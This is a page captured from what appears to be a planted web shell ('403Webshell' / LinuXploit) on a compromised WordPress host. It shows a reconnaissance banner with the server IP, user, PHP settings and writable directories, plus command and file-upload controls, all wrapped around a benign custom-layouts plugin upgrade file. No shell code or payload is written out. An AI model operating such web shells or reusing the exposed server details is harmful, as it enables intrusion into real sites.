403Webshell
Server IP : 118.139.160.155  /  Your IP : 216.73.217.176
Web Server : Apache
System : Linux sg2plmcpnl504228.prod.sin2.secureserver.net 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User : twll3xqyaqrh ( 9725459)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/twll3xqyaqrh/public_html/Site WP/wp-content/plugins/custom-layouts/includes/upgrade/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/twll3xqyaqrh/public_html/Site WP/wp-content/plugins/custom-layouts/includes/upgrade/1.4.2.php
<?php
namespace Custom_Layouts\Upgrade\v1_4_2;

use Custom_Layouts\Core\CSS_Loader;
use Custom_Layouts\Settings;

/**
 * Parse the settings data, and upgrade where necessary accoring to version nubers
 * @since    1.4.0
 */

add_action( 'custom-layouts/settings/get', 'Custom_Layouts\\Upgrade\\v1_4_2\\upgrade', 10, 2 );

function upgrade( $post_id, $section ) {
	
	$settings_version = Settings::get_setting_version( $post_id ); 
	if ( ! version_compare( $settings_version, '1.4.2-beta', '<' ) ) {
		return;
	}
	if ( Settings::is_template( $post_id ) ) {
		$template_settings = Settings::get_settings_data( $post_id, [ 'template-instances' ] );
		upgrade_template( $template_settings, $post_id );
	}
}

function upgrade_template( $template_settings, $template_id ) {
	
	
	$template_instances = [];
	if ( isset( $template_settings['template-instances'] ) ) {
		$template_instances = $template_settings['template-instances'];
	}

	$template_attributes = [];
	if ( isset( $template_settings['template-data'] ) ) {
		$template_attributes = $template_settings['template-data'];
	}
	
	
	/**
	 * Cleanup the instances by adding new excerpt values
	 * and removing the old values that are no longer in use
	 */
	if ( is_array( $template_instances ) ) {
		foreach ( $template_instances as $instance_id => $instance ) {
			$instance_attributes = $instance['data'];
			
			// In 1.4.1, we stopped saving colour information if the colour was transparent
			// this adds a default value in for those scenarios, so they remain transparent
			// when loading the template editor again (when there is no value, the template
			// editor will load its defaults instead)
			if ( ! isset( $instance_attributes['textColor'] ) ) {
				$instance_attributes['textColor'] = '';
			}
			if ( ! isset( $instance_attributes['backgroundColor'] ) ) {
				$instance_attributes['backgroundColor'] = '';
			}
			$template_settings['template-instances'][ $instance_id ]['data'] = $instance_attributes;
		}
	}
	
	Settings::update_settings_data( $template_id, $template_settings );
	CSS_Loader::save_css( [ $template_id ] ); //regenerate the CSS
}

Youez - 2016 - github.com/yon3zu
LinuXploit